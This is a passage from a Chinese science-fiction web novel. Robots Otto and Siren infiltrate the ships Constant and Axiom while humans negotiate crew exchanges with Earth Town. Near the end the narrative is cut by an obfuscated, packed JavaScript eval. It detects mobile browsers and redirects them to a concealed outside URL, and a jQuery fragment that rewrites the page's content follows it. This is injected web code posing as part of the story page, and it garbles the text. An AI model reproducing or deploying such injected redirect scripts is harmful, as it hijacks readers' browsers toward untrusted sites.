既然新的拼图来自O区,他不能就此停下。 “下命令的是大区人,没错。”奥托说。“你回去吧。我不能回去。” “为什么?”汉不解。 “第一,我回大区可能会造成不必要的混乱。第二,在这里有我未完成的事情。”他指向平板上的资料图标。“线索。” 汉哑口无言。 “……你打算怎么处理你的自我冲突?” 这次轮到奥托陷入思考。 “忘了它吧。”他只简短回应。 奥托让少年现在联系露丝,告知她已经成功重启。露丝询问了他的情况,得到肯定答复后,她让机器人和少年去O区医疗中心普外科病房找她。奥托评估了汉通讯板的运算空间,出发了。 路上,奥托将之前两次开探测船出去远征的发现与后来的分析结果全告诉了汉。汉越听越震惊。他没想到自己生活的土地上居然存在潜在危机,一种恐慌自他心底传来。最后奥托告诉汉,他曾经也将这些告诉过露丝和劳伦斯,但不清楚他们究竟有没有传达给大区人。如果汉回到大区,发现他们其实并不知情,传递信息的重任恐怕得少年承担。 “……你现在也不知道到底发生了啥,是吧?”汉通过医院安检,问机器人。“我自己回去,也不知道这到底是咋回事,到处去说更麻烦。应该跟着你去调查。” “太危险了。”奥托只简短回答。“跟着我去调查的,没一个有善果。” 他们推开普外科病房的门。露丝坐在病床上,见到两者进来,露出笑容。“不愧是沃尔特推荐的。”她对汉说。“独立重启奥托,有两把刷子。” “你的肝怎么了?”汉留意到了悬在床头的全息诊断书。“怎么会大面积肝灼伤?” “说来话长,待会再细说。”露丝的目光转向旁边的人形机器人。“这次怎么不跑了?”她眨了一只眼,问。 “改主意了。如果我要走,多半会像上次一样。”奥托叉着双手站在一边。“你知道劳伦斯在哪吗?” “我还真不知道劳伦斯在哪里。他失联了。”露丝盯着奥托。“本来你们不用过来。但是,我觉得当面讲给你们,比用通讯板保险得多。” 露丝将两个月前大区人的委托、她的执行方案和后来发生的一切都讲了出来。震惊之余,汉理解了为何奥托不能回去。最后,露丝指向自己的病历,对汉说:“那天你让我过来,我发现有人入侵了0456房间。那人的目标似乎在你,奥托,我不清楚为什么。”她指向奥托,“他叫特纳,手里有激光武器。我想不到他会为了你,真的对我开枪。肝脏就这样被他灼开了。而且,我不知道他是怎么知道你的存在的。最可能的是劳伦斯那个大嘴巴到处透气。”露丝说,“那天还好我带着枪,而且把他的肺打烂了。他现在应该还在隔壁ICU。” “老天爷啊。”汉悄声自语。 “我很抱歉。”奥托回应。“想不到你今天会毫无隐瞒地讲出来。” “呵呵。”露丝冷笑一声,“我都挨了一枪,在鬼门关走了一遭,没啥好失去的了。隐瞒不隐瞒都差不离。”她说,“我烦了。他们爱怎么处理我怎么处理我。”随后她想到了什么,“对了,以前还为了应付大区那堆呆子工程师,将你的一段记忆隐藏了。现在有了EP机型资料,我知道怎么更保险地处理了。我用他的板子帮你找回吧。”露丝指了指汉的通讯板。 “顺便帮我个忙。”奥托开口,“将情感区域输出阈值下调至20%。” “奥托!”汉不放松抓着全息平板的手,“你……” “放心,没有全部阻断。”露丝对少年说,“他保留了一定情感。” “……那就不完整了。”汉目瞪口呆。“他也不会是他……” “我不知道后面还会有什么等着我。”奥托说,“没有时间去适应了,不能让不合时宜的情绪干扰判断。”他将数据线接好。“希望你能理解。” 汉紧握住金属手掌。机器人坐在旁边的椅子上,在全息平板中向露丝暴露操作界面。露丝同时调出EP机型资料,全息屏浮在操作界面旁边。她将原先埋藏的记忆移动到正确的区域,再下调了输出阈值。退出前,她犹豫了一下,添加了解除限制的条件。 全息屏中,电子脑每一层中枢逐渐退灭,随后又重新一层一层点亮。遮光板重新旋开,汉有些紧张地看着奥托,不知道他会不会变样。 “奥托。”露丝吸引了机器人的注意,女机器人学家一脸愤恨,咬着牙对着机器人抛出一句话。“我恨透了你,你是个十恶不赦的大傻逼。”说完,给金属面孔扇了一巴掌。 “老天!”汉脱口而出。 机器人只看着她,什么反应都没有。过了一会儿,他拔掉数据线。“起效了。”他对露丝伸出金属手掌,“谢谢。” 露丝刚刚极度恼怒的表情立刻消失殆尽。她伸出手,却无力回应对方的坚实力度。过了一会儿,她捂上面,开始无声啜泣。 28. 二十四(1) “叮咚。”病房的门铃响起。露丝不管病房里少年和机器人的争论声,稍稍平复了下心情,不顾自己还红着的眼圈,按下床边象征“准许进入”的绿标。病房门滑开了。 “你快改回来!奥托!你不能一点尊严都没有!”汉摇着对自己的大吼大叫无动于衷的机器人,“遇到不公的事情,不要忍着,反抗啊!任何人都有愤怒的权利,任何人都有悲伤的权利,任何人!机器人也如此!” “请你理解。”奥托平静地说。 “不!我不理解!”汉更加激动,“奥托!你——” “很热闹嘛。”一个陌生的女声从汉身后传来,争吵戛然而止。汉猛地回头,一个看上去上了年纪的女人站在那里。她身着深红色连体长裙,叉着手,一直盯着人形机器人。“终于找到你了。” “你是谁?”汉冲口而出,奥托和露丝没有说话。 “我知道劳伦斯在哪里。”年长女人对三个个体说,“先自我介绍。我是米勒夫人(Mrs. Miller)。折跃井调查小组负责人。”她伸手指向奥托,“你要跟我去一趟。” “现在?”奥托平静询问。 “现在。”米勒夫人一样平静回应。 “我能跟去吗?”汉问。 “不行。”年长女人回应。“但我会告诉你,他什么时候可以回来。”她随后看向露丝,“劳伦斯现在处于信息隔离期,很抱歉。除了不能与外界交流,他享受着很好的待遇。大约一周后,他就能自由了。” 只能暂且相信这个陌生女人。汉站在原地,看着奥托和年长女人走出病房。病房门滑上,周围瞬间安静下来。少年呆呆地看着床上面色苍白的露丝。女机器人学家摊开两只手掌。 “这就是命。”露丝看着少年,无奈地说。 “我想,你对折跃井还一点概念都没有吧?”米勒夫人坐在沙发上,示意奥托坐在对面。机器人的单光学镜规律地扫过贴满整个房间的折跃井资料。“我也知道你此前来这里寻找的是什么。我们的目标和你一致,都在寻找如拼图碎块的各种事件之间的联系,而且我们找到了源头,就是折跃井。”年长女人说,她留意到奥托的光学镜久久注视在2951年的东海岸核弹报告及玉米螟报告上。“虽然我们从未成功联络到折跃井对面的人。但出乎我们意料的是,他们选择联系你,奥托。” 机器人抬起头默默看着米勒夫人。 “今天折跃井选择我们调查组成员其一进行交流,点名要你前往。我因此才主动找你。显然因为你拔掉了自己的通讯芯片,外界什么信息都到不了你手上,而折跃井也知道这点,因此选择我们传话。”米勒夫人继续平静说,“锁定频率1045.32MHz。室内无干扰。你先装回去,听听吧。” 奥托沉默地从子空间拿出通讯芯片插回脑后。 久违的沙沙声重新灌进芯片。他调到相应频率,沙沙声减弱许多。他本不抱任何期待。突然,清晰的话语自信号解析,轰响在脑内。 【请前往此处。】后面附了一串坐标。这段消息重复了10次,随后停止。与此同时,办公室内的全息屏跳出折跃井活动的消息。米勒夫人平静望着机器人,静静看着他注视那个骤然变化的全息屏。奥托什么都没有说,良久他转过来,正视米勒夫人。 “为什么找我?”机器人平静地说。 “没有人在与折跃井接触前知道它到底要干什么。”米勒夫人说。“你需要亲自前往那个坐标。”她看着全息屏那段红色的坐标,显然和奥托收到的频率一致。 “不能证明真伪。”奥托对米勒夫人说。 “当然。任何一个没有见到折跃井真面目的人,都不会相信它的存在。”米勒夫人平静解释。“奥托,虽然它的目标是你,但我们会跟你一同前往。” “为什么?”机器人问。 “原因很复杂。”米勒夫人说。“但重点是,折跃井这次没有回避我们。”她礼貌地看着机器人,“我们也没有理由浪费这次机会。” 奥托决定前往神秘重复信息给的地址。米勒夫人与接到信息的调查组成员跟在奥托身后。一路上折跃井非常安静,没有发信息提醒他们不得跟从。他们走进破败的小楼,全息墙面也没有仅对奥托选择性开放。3个人成功进入电梯,来到折跃井所在的地下室。 地下室亮起灯光。【欢迎来到折跃井,逐梦计划之窗。】一个全息屏在3人面前跳出,米勒夫人立刻留意到这次折跃井说辞的变化。它知道在场人的背景。【折跃井已选择首位外交大使。请探索者003进入折跃井。】 在他们面前,六角形的舱盖自中央向六边徐徐收起,耀眼的光线自裂隙喷涌而出。3人连连后退,与井盖边界保持距离。舱盖完全收起,暴露出六边形的画面,光线自井内冒出。米勒夫人望去,澄清的草地,蓝天,中央略显破败的小楼,和当年的描述与图画一模一样。定睛注视,蓝天中的云仿佛还在缓缓飘动,给底下因冬季而显得干枯的草地投出一片阴影。 无论靠多近,都无法判断自己与画面的真实距离,自己与小楼和草地永远隔着那么远。画面平静无比,澄清得没有一点点涟漪,比水还要通透。它的边缘却显示它本身的厚度。奥托注视画面良久,没有遵照折跃井的指示走进井中。 “以前有人进去过吗?”奥托问。 “人类没有。一个机器人曾经尝试进入,从这边观测,它没有被撕裂,但自此杳无音讯。”米勒夫人回答。“后来我们也曾多次派有自我意识的机器人前往折跃井,但是他们的命运都和第一个一样。”米勒夫人看向奥托。“直到两个月前,我们都在做这样的尝试。你也知道。” 奥托猛然看向米勒夫人。黑色的单镜头深不见底。 “其他设备呢?”他终究没有追究。 “其他设备也是这样。”米勒夫人说。 折跃井没有弹出更多指示。奥托望着那行全息红字很久,最终没有踏进画面。 “我还没有准备好。”奥托只平静说道。“折跃井没有让我今天过去。地面尚有事务待我处理。如果真如你们所说,折跃井为一切异常事件发源,并且它一向守诺,待处理完毕地面事务,我会遵照它的指示。”言毕,奥托转身面对电梯。 奥托转身后,折跃井的舱盖重新滑上了,那片明朗的光芒重新被封在钢铁之下。米勒夫人抬起一边眉毛。折跃井什么都没说,那个全息屏也关闭了。电梯门打开,奥托头也不回地走了进去,两人随后。 “你要处理什么?”米勒夫人问。 “在办公室中,我看到了折跃井克隆昆虫收集广域信息的技术。现在它为你们所有。”奥托说。“想必你们获取情报的能力卓尔不凡。我想获知更多常量号的信息。”阴暗光线下,他的红色镜头平静看着年长女人。“至于如何做,得看条件。” 下午时分,地球镇人聚集到西海岸,第一批常量号舰员身穿外骨骼,站在海岸边。数个帆船早在岸边准备。只要常量号护送第一批地球镇人,这边即登艇前往常量号。 常量号薄如蝉翼的力场护盾从中解除一部分,连接登舰平台的门开启了。数个飞行机器人整齐地飞出来,在登舰平台上空漂浮着。大佬跟随其后,但视频内酷似奥托的银色人形机器人并没有出现。第一批地球镇人出现了。每个人一出舰就不由自主眯起眼睛,外界的亮光让他们感到不适。如同多米诺骨牌的警卫机器人跟在每一个人身边,随时进行交接。 小艇载着常量号人来到登舰平台下方,海浪淹没了阶梯下方。常量号人下船,自己拖着外骨骼沉重地爬上登舰平台。在平台上驻守的常量号机器人立刻对他们进行扫描。确认身份后,他们走进了船舱。地球镇人踏进小艇,所有人的武装都被卸除。常量号警卫没有跟着上船。帆船回到西海岸边,被地球镇人所接应。第二批身穿外骨骼的常量号人已经乘另一艘小艇前往登舰平台。 无论是地球镇人还是常量号人,都没有意识到海岸上出现的多只缓慢爬行的金属绿色金龟子,这些生物本不应在这个季节大量出现。金龟子有的飞起,有的爬进船舱或者钻进人的厚衣服中,随着常量号人带入常量号。也有一些悄悄爬进了西海岸后方临时建立的哨站内。 常量号舰内忙碌起来。所有归舰的人都需要接受生化检测及消毒,有一些仍然需要接受进一步治疗。金龟子自他们的衣领爬出,附着在常量号舱内壁上,很快钻进缝隙里,没有机器人或人类留意到这些入侵生物。他们依然在下方热火朝天地忙碌着。 【卡尔中尉。】虽然躺在医疗区里接受进一步治疗,一个瘦高而面孔坚毅的男子所佩戴的贴颅信号仪传来一个机械声音。他很清醒。幸有前2月的突击训练,他认出来了陌生的信号源标志。【这是科林,常量号自动驾驶。预测循环4时第一批常量号人归舰完毕。5时需要与您面议。】 卡尔中尉盯着天花板。忙碌的噪声不停。顿了好一会,他才开口。“弗洛伊德舰长呢?” 【弗洛伊德舰长和维克托中校都牺牲了。】机器人的回答证实了他的猜测。 “好。”卡尔中尉顿了一下,最终面无表情回答。“给我自降落以来到现在的常量号舰上常规报告。” 【已传输。】卡尔中尉手边的全息屏亮起。他伸出手,开始阅览科林发来的报告。 地球镇与常量号的人员交接顺利完成,常量号告知地球镇人,下一次人员交接时间及名单最早在今夜9点前确认。常量号重新闭合护盾。500名归舰船员中一名死亡。除了给他们进行医疗检查,全部舰员都要被询问两天的经历。他们带回来的设备也需要经过检查,以期发现任何可能的入侵痕迹。 下午5时,科林如约从密室中走出,前往卡尔中尉的病房。卡尔中尉情况已经稳定,其他机器人已经提前得到讯息,离开了病房。人形机器人出现在卡尔中尉面前,面孔冷峻的男子上下打量了从未真实见过的人形机器人。那个银色独眼机器人站在他面前,叉着手开口了。 “卡尔中尉,请简要汇报两日来地球上观察到的情况。”科林同时联着网,其他舰员的报告正不断汇入CCNS中。 “地球镇人对我们存在恶意。我在机房附近被击晕带走,贴颅信号仪被取走,幸亏目前看来只发现外磁部分。”卡尔中尉说,贴颅信号仪部分内容与网络内其他舰员的汇报基本一致。“后来他们发现了我的信息码,告知我常量号发生严重核泄漏污染,建议我留在地球镇上。我质问他们为何入侵飞船,他们拒绝回应。”他继续说,“一开始我们多人集间,发现各自身份后,如我这样有相当高位军衔的人则带到单间。他们有一定询问技巧,但是逻辑较为混乱。加之军衔与继位者不符,他们并未获知我的第二身份。信息匮乏情况下,我考虑过,倘若必须留在地球镇上,吾则需要找机会上舰亲自调查泄露情况,并且寻找机会避免可能的枪毙。” “地球镇机器人及科技情况呢?”科林黑洞洞的镜头里没有一丝感情。 “人类主导。”卡尔中尉说。“见到医疗机器人协助治疗与摘取设备,以及其他类型机器人协助运送药品、伤员或者在门口戒严,但问话全为人类进行。科技较常量号简陋。” 与观察到的情况和其他人类舰员的汇报一致。科林暂定地球镇为人类主导情况,但他不清楚是否随时都可能如常量号这样调整,特别是对方的探索者从未露面。 “请汇报本舰未来规划。”卡尔中尉突然打破沉默。科林看着卡尔中尉,暂时认定卡尔中尉未向外界透露本舰科技及第二身份,遂开口。 “完全靠本舰能力维修飞船勉强可行。”机器人说,“现在最大的问题是材料不足,舱壁损坏过于严重。其次是时间与人手。按照现有的舰员数量,材料充足情况下,也需要至少3个月全部维修完毕。再者是能源。按照原有计划,仍然足够支持力场及一般设备。不过目前尚不清楚地球上是否有留存的核燃料。就算有,此时也需要我们重新提纯。” 卡尔中尉听完这一大串,沉默片刻。“3个月……”他皱起眉头。 “3个月。”科林重复。“以及,需要在今夜9时前确认与地球镇人的人员交接事宜。” “上一次是你和他们交流,对面的是镇长。”卡尔中尉说,“考虑到当时情况特殊,此为不得已之策。下一次,我认为应当派本舰代表与那边谈判。”他说,“如果那边要求必须与本舰最高统帅谈判,你才出面。” “与人类谈判需要人类进行。”科林说,“你不露面是对的。建议继续派高位代表,代替真实的最高统帅。理由是全舰表决新选舰长。” “我会接管接下来的常量号事务。这个可能骗得了外面,却无法骗舰内。”卡尔中尉说。“我认为肯定不止我一个人被询问有关下舰劳作的话题。我们这批算是回来早,被洗脑的可能性不大,但后面回来的,就很难说有没有被策反的内鬼。”卡尔中尉说,“所以,派代表代替真实统帅,瞒得了一时瞒不了一世。我最担心的是瞒不到3个月就会被内鬼揪出来,到时候我们脱身就难了。所以干脆不要用代表去骗他们。一旦他们要求最高统帅见面,我出面。” “有道理。”科林说,“后续部分归舰人员可能产生留守地球思想。被洗脑的也好,交换事宜里暗示的也好,最后几批人必须仔细观察他们的行为。”科林说,“我已经派机器舰员常驻机房、信息基站及核反应区。目前警告所有人类舰员不能接近。” 卡尔中尉点了点头。“我们需要预测谈判内容。”卡尔中尉说,他眯起眼睛。“我们最多只能顶4次人员交换事宜。根据审问我的内容,我怀疑他们会继续邀请我们下舰劳作。然而显然他们一开始登舰后目标明确,旨在快速夺取我舰控制权,邀请舰员下舰也是为了削弱舰上力量。所以绝不能上当。”他顿了一下。“目前有无备选的代表名单?” “有。”科林借由CCNS,在卡尔中尉面前投射出名单。那些人的状态都被标注已归舰。 “好。”卡尔中尉考虑良久,选定了其中一人。“今晚9点,重中之重是解决人员交换问题。其他的问题或邀请都答尚在考虑之中。不要过多理会他们的其他要求。”他说。“至于舰内情况,按照目前的进度继续维修。先恢复飞船内壳封闭情况。其次是保证反应堆必须稳定,以及保证足够的维生设备。”卡尔中尉说。“我不看好和地球人合作,也不会推荐与地球人合作。” “还有任何指示吗?”科林庆幸卡尔中尉没有被蛊惑,或许是受在机房附近攻击的影响。 “当然,在飞船内外舱壁气密性检验过没事及反应堆和维生设备没事后,继续原先的探寻负质量发生器计划。但有余力时,我看可以去侦查隔壁的公理号飞船。”卡尔中尉望向科林,“虽然看情况,那边的东西已经搬得差不多了,但我觉得还是得去看看。” “我不尽然认同您的观点。”科林回答。“敌众我寡,此时去侦查公理号,不亚于雪上加霜。” “科林,我知道你认为我太贪心。”卡尔中尉说,认真地看着人形机器人。“敌众我寡归敌众我寡。我想的是,如果地球镇人真的如此和平,他们不应该在有核泄漏风险的情况下登舰抢夺飞船。显然他们发生了什么事情,让他们得抢夺飞船。但是他们已经有一艘巨大的飞船,所以我不清楚他们夺船的目的是什么,究竟是一种竞赛还是一种逃生手段。说不定上船调查能调查出什么眉目。”卡尔中尉说,“接下来的日子,我希望把这批地球镇俘虏的身份及与我们对话的这批人调查清楚,以及接应我们的地方,到底属于O区还是大区。”他顿了顿,“如果这两者中有可能的盟友,我觉得完全可以结盟,逐渐壮大自身力量,到时候来个金蝉脱壳,趁他们陷入混战时赶紧开溜。” 科林没有答话,只点了点头。 “多说无益,先想想怎么把咱们船的人收回来吧。”卡尔中尉艰难吸了一口气,地球的重力依然让他有些呼吸困难。 夜幕降临,一艘小艇从流入地球镇东北海岸的运河驶出,船周身没有灯光,在黑漆漆的海水中隐匿前行。它绕了一大圈,躲过公理号周围的探照灯,缓慢寻找机会接近公理号,最终停在公理号靠南的泊脚附近。 船上冒出两个人,其中一个仔细观察周围情况后,朝公理号舰体上方的第一级大平台弹出钩爪,沿着舰体从船内攀爬上去。这个人形身影很快消失在平台上方。底下的人没有跟过去,而是守在小艇里,警戒同时观看攀爬者的情况。 攀爬者自平台上方谨慎穿梭到公理号右侧,登舰平台就在下方。现在数个登舰口已经关闭,仅留一个仍然处于半开放状态。他在登舰平台观察片刻,舰周没有可供破入舰内的破口。随后他来到这个半开放的登舰口上方,趴下,没有露出自己的红色光斑。红外探测到底下登舰口有两个红点,各守一边。他们谈话的声音和在冷风里,隐隐约约传上来。 他没有发现机器人活动的痕迹。于是他躺在平台边缘,掏出两把多用枪,调整到麻醉模式。几管药剂推进多用枪,传来轻微的咔哒声。他按下腰上的某个装置,原先钢铁色彩被□□拟装覆盖。拟装成人类女性的他翻过来,匍匐到边缘,切割成棱条的布罩分割了希腊女人面孔正中发红光的护目镜,向下望去,原先能轻松显现在光滑登舰平台上的红斑几乎完全消散。 底下的人毫无察觉。身穿黑色皮衣、戴着发红光护目镜却用布条遮掩光芒的希腊女人举起两把枪,同时对准那两个人。他们依然在原地站着聊天,时不时望一下已自动化搜寻海面的那些光束,根本不需要他们亲自瞪大眼睛去看海上究竟有没有动静。 一声叠加的沉闷响声过去,他们同时感到身上某处传来剧痛。一开始他们还以为是被偶然的虫子给咬了,但随后摸到疼痛处有一块圆形物体,有一半似乎还嵌在身体里面,不免惊慌跳起。但没等到他们有勇气抠出来,两者均感到莫名的天旋地转,随后不得不向后靠在门边上支撑,最后缓缓溜下来,陷入了沉睡。 始作俑者见状,留了钩爪在平台边缘,缓缓从上面爬下来。希腊女人没有理会在门口沉睡的两位,走进了公理号。除了门口两个守卫,硕大的船体里没有其他人驻守,机器人都没有。她却没有掉以轻心。她知道公理号内部依然有无处不在的监视。前期机械昆虫已经帮她破坏掉部分监视线,给她留出一条通道。目前还尚未有人上来维修。她沿着那条通道迅速潜入公理号深处,径直来到机房。 西芮安在机房输入深埋在他程序深处的访问码,成功获得了公理号电脑的访问权。她拿出一个光片,插入到旁边的端口中,随后接连触及这艘飞船的底层,将操作码一一套出,复制到光片中。随后她取出光片,塞到自己子空间中。她复位电脑,从机房走出,没有离开船舱,而是径直前往一个储藏室。她取出储藏室内的芯片,穿梭到舰桥,将这枚崭新的芯片嵌到自己原先的躯体中。她没有令船舵苏醒,而是头也不回地离开了舰桥。 路过登舰口时,那两人依然在沉睡。西芮安把嵌在两个人身上的药剂管拔出,不顾涌出的血液沾到自己的手上。她令钩爪钉入登舰平台,身影没入探照灯无法照到的登舰平台下方,重新进入停泊在泊脚的船舱。她将包含公理号电脑操作码的光片交给小艇内另一个人。小艇重新启动,穿过规律探照的公理号船体,继续向海面深处进发。 地球镇果然要求常量号最高统帅前往舰下谈判。百般建议推脱未果,卡尔中尉决定亲身前往。数个机器人与人类跟从,都在与常量号进行密切联系。 科林依然处在暗室中,经由常量号网络,如影随形跟从在卡尔中尉的贴颅信号仪中。其他人听不到他对卡尔中尉交流了什么,但他能听到卡尔中尉与其他人的谈话。 “常量号全舰被力场包围。”海上远处一艘小艇内,奥托仔细观察常量号周围情况后向折跃井调查小队的成员之一说。“从海面上方入侵会比较难。” “理论上海面下方也会被力场所阻隔。”那个调查小队成员说,他们缓缓将小艇接近硕大的新来飞船,不断观察是否有在南侧观测的机器人。“昆虫发回的信息显示,目前他们的力场强度能够阻挡普通的单人便携能束武器。” 小队成员向海中放下一条机器鱼,朝着常量号的方向前行。“他们也知道被淹没的部分不好维持力场,但是目前底层力场装置尚未修好,都是上方力场发生器的强弩之末在勉强支撑。这是我们的机会。用鱼过去探探他们力场的削弱情况。” 随着海流不断拍击常量号断裂的泊脚,他们通过机械鱼发现,力场的缓冲层都会被向内削弱一些,甚至完全消失。伞罩一样的力场也无法很好阻隔汹涌海浪,只能随海流后撤再重新建立力场。机械鱼尝试触碰力场层,发现仍然难以突入。他们谨慎地观察了一阵,常量号成员没有发现这个无人侦查器。 他们停止发动小艇,让它顺着潮水缓缓接近常量号。距离常量号还有50米,他们停了下来,以防被常量号的自动海面搜寻发现。不得不说,常量号给自己的安全范围非常窄。奥托打算接下来走水路,随着刚刚发现的海流对力场的影响规律,自泊脚的一处破口潜入到常量号中。“小心一点。”机器人下水之前,那个调查小组成员如此对他说。 奥托点头。他再次检查了携带的干扰源,它们已经过浸水考验。自己携带的□□也好好地收纳在子空间中,目前已充能。但他倒是不希望用上□□。使用这个不能一招制服,而且还会让猎物挣扎一番喊来援军的东西实在是下下策。 他一改往前对水的踌躇,义无反顾跃入已有数十米深的汹涌海水中。他找到机械鱼,让这个小东西带着他从水下前进到常量号。阳光从顶上汹涌的海浪中透过,夹杂着底下的沉沙和细小的钢铁碎屑。猛烈的海浪让机械鱼行动变得困难,特别是还带着另一个重物。他们偶尔被海浪拍到一边偏离了航向,花费很大功夫才艰难回来,更多时候是被另一方向的海浪被动卷回。 他们艰难跋涉过这50米,机械鱼停了下来。面前就是在水中几乎不可视的力场。只有与对面仿佛隔了层玻璃般的宁静水体对比,这边的汹涌泥沙气泡才让人觉得的确是有什么东西硬生生割开了水面。这层宁静的水体时而后撤,时而前进,让人看不准突入时机。奥托从机械鱼身上脱离,落入底下的狼藉海床。远离了上方的海浪,底下的情况更为稳定一些。而随着上面的冲击削弱,底下这里的力场则表现为时而消失时而出现。泥沙活动提示了海面持久的拉锯战。 他压低身子,接近那个力场壁,等待一次巨大的海浪。终于,一个汹涌的海流自上方隆隆压过,甚至卷到了底下的泥沙。那个力场壁消失了。他顺着海流的冲击,对前方的宁静水域一跃而入。身后的泥沙又拍到一堵看不见的墙上,而他毫发无损。他对着机械鱼作出一个手势,调查组成员借由机械鱼阴暗的水下摄影捕捉到了他的动作,知晓奥托突破力场壁成功了。 接下来只有奥托独自执行任务了。他谨慎地接近泊脚,钻进那个破洞,开始朝着被淹没的常量号舱壁缓缓向上爬。 科林一直呆在密室内,在借由CCNS跟踪卡尔中尉的情况同时,他也在监督其他必要维修的进程。 【舰桥控制台与舷窗更换完毕,气密性测试完毕。】维修机器人报告。科林调出舰桥图像,原本一片狼藉的舰桥已恢复到撞击前的干净整洁。弗洛伊德的遗体早已被回收,甚至科林都没来得及亲自看一眼,就被分解炉的高温所分解。组成前舰长身体的原子起源于星尘,在常量号上集中,存在了好几个世纪。最终它们相遇相组,形成这副躯体。现在,它们将分散到这艘飞船的各个部分,重新回归飞船。 即使密室中也能基本上完成各项工作,但科林必须回到舰桥。得到维修机器人通知后,他立即复位密室中临时拼凑的指挥用设备,从这个房间出来。这段时间里,他暂时无法直接收到飞船电脑的警报。储藏室离穿梭机站点有段距离,但他并不着急。常量号电脑直到刚才都没有扫描到海面上的入侵者。一直紧盯着的地球镇也没有任何动作。他把大多数精力重新放在卡尔中尉与地球镇人的对话上,随时给可能出岔子的卡尔中尉支招。卡尔中尉适应工作比他想象的快很多,目前,这个才华横溢的新舰长对付起地球镇人还是游刃有余。科林倒不认为这次他能给卡尔中尉帮上什么忙。 在狭窄的通道行进路上,他的注意被空中飘过的一个黑影和嗡嗡响声所吸引。那个黑影落到旁边的舱壁上,开始艰难地爬动。科林伸手将它摘了下来。这只金属绿的甲虫徒劳地翻着六根细腿。他扫描了一下昆虫,通过之前常量号其他舰员的报告知道这是金龟子。他把金龟子攥在手里,打算带出到通道外面交由其他舰员处理。 一降落到地球上,这个星球上的生物就开始入侵常量号。不止是金龟子,还有其他飞虫也在舰内横行霸道。在这个人员密集的统一空间内,他们只能保证飞船上的生态区不会被入侵,其他空间发现的昆虫则不得不采取最温和的方式清除。底下被海水浸没的舱层也时常发现海洋生物开始扎根。特别是海水之下力场不稳定,给了在巨舰旁边徘徊的小生物不少可乘之机。 他不知道泊脚的破洞里已经钻进来一个与他长得一模一样的人造钢铁生物。但是钢铁外壳很快被全息拟装所遮蔽,机器人的内阻片组开始控温在36.5℃,外观就是一个短发希腊女性。西芮安通过在常量号内布下的金龟子信息网避开其他机器人同时,获知科林已经从密室中出发。西芮安稍稍计算了科林接下来的行程,猜到科林很可能要前往舰桥。任何飞船,要从下层突破到舰桥都非常困难,入侵者在路上就可能面对无数阻挡者。西芮安对此深有感触,即使当时两位入侵者顺利来到主甲板,但她的条件与那两位不能同日而语。她加速了行动,借由获知的常量号内饰路线,从垂直通道迅速接近科林。 如果放在以前,西芮安肯定会对目前的情况变化感到非常不妙。恰好就在她刚穿出被淹没区域的时候,科林刚好从原先定位的密室中出来。留给她的时间太短暂了,只有十来分钟。在这十分钟内她至少得到达那个舱层。西芮安重新评估了自己的目的,根据自己之前使用ACNS的经验与对科林的观察,认为在探索者型号与外界端口断连期间,对舰内情况响应非常慢。她决定首要目标是尽可能快速达到那个舱层。 所幸的是,下方舱层中并无多少人类与机器人。她得以快速穿过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706294|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道自己的身影早被无处不在的常量号监视线所捕捉到,但即使昆虫信息网遍布常量号,她也不清楚常量号的电脑有无认出这个入侵者,有无机器人发现她并对其他机器人发出警报。 西芮安从一个垂直通道钻出,终于到达那个昏暗的储藏室通道。里面空无一人。她快速穿过走廊,即将接近科林离开的那个密室时,她却停了下来。昆虫与声响都提示S-0086储藏室有东西活动。那些东西似乎都没意识到拐角后有人。她用红外成像观察,里面没有人类。 科林马上要走出通道到达穿梭机了。 她必须出手。 西芮安向S-0086储藏室方向发射一枚干扰源。干扰源工作时,什么声音都没有,随后只突然传来什么东西翻倒的声音。她出来观察,那几个机器人都停滞在原地,原先悬浮在空中的机器人暂时失去了磁感应,重重砸在地上,正在搬运的设备也翻倒在地。希腊女人无暇顾及他们的情况,匆忙翻过S-0086房间,向通道出口迅速进发,随后看到了另一个与自己一样的银色身影。不能让他走到穿梭机处。西芮安举起干扰源发射器,无暇顾及出口外正在忙碌的其他机器人,对准了那个银色身影。 “……自公理号降落以来,地球镇一直将地球当做自己的家园,认真劳作,辛勤建设,因此保持两个月的初心不变,诚邀常量号成员及其他BNL飞船归航,重新回归母星怀抱……” “……常量号仍有1500人左右在地面上,其中已经有不少个体表达出在地面上劳作的渴望,知道贵舰尊重船员的意愿,是否愿意让他们加入地球镇建设大军……” 果然,地球镇人会再一次提出让常量号人下船。科林边听边想,但他没有出声打扰卡尔中尉的思路。 “我舰坚持最初决定,需要让所有人归舰。即使有愿意留在地球镇上之人,我舰会尊重他们的意愿,但仍需在舰上交接他们的事务。过后自然会通知你们接应。” “欢迎且感谢贵舰成员参与地球镇建设。我们也非常渴望能够与贵舰进行交流。我们欢迎贵舰成员参与地球镇建设同时,学习地球镇生存经验与技术,同时我们对贵舰很感兴趣,不少人希望上舰参观,地球镇也真切希望学习贵舰新发展的技术,请问贵舰是否愿意开放飞船参观,并与地球镇交换技术?” 如果没有一开始的闯舰与攻击,可能现在能答应爽快点。科林暗想。他开始推算卡尔中尉的回答与他的对策。如果卡尔中尉同意,这倒也不成问题,只不过要花点心思重新布置舰内区域以及设计舰内参观线路。就和当时带那个女孩上来一样。 “本舰安全问题尚未解决,开放登舰可能会引起安全隐患。所以很遗憾,此问题暂无法肯定。”卡尔中尉拒绝了地球镇的请求。这应该在地球镇预料之中。科林猜测。他们理亏在先,常量号拒绝很正常。这3个月就看地球镇能不能磨得住。 “我们理解贵舰的决定。可否行折衷方案,即采取全息投影的方式,详细介绍常量号在这1000年中发展的情况?” 前几个月的白谈了。科林想。当时其实发给地球过一份资料,但是地球镇人显然也不相信常量号。自己如果发的是虚假资料,便也有理由怀疑对方发的是虚假信息。人类心理体现得淋漓尽致。 但是卡尔中尉尚不知道他们当时与地球镇人交流的情况。即使卡尔中尉的表现到目前为止都还算谨慎,但科林不能保证这次卡尔中尉不会妥协。如果地球镇不让签霸王合约,一切都有事后拒绝的可能。 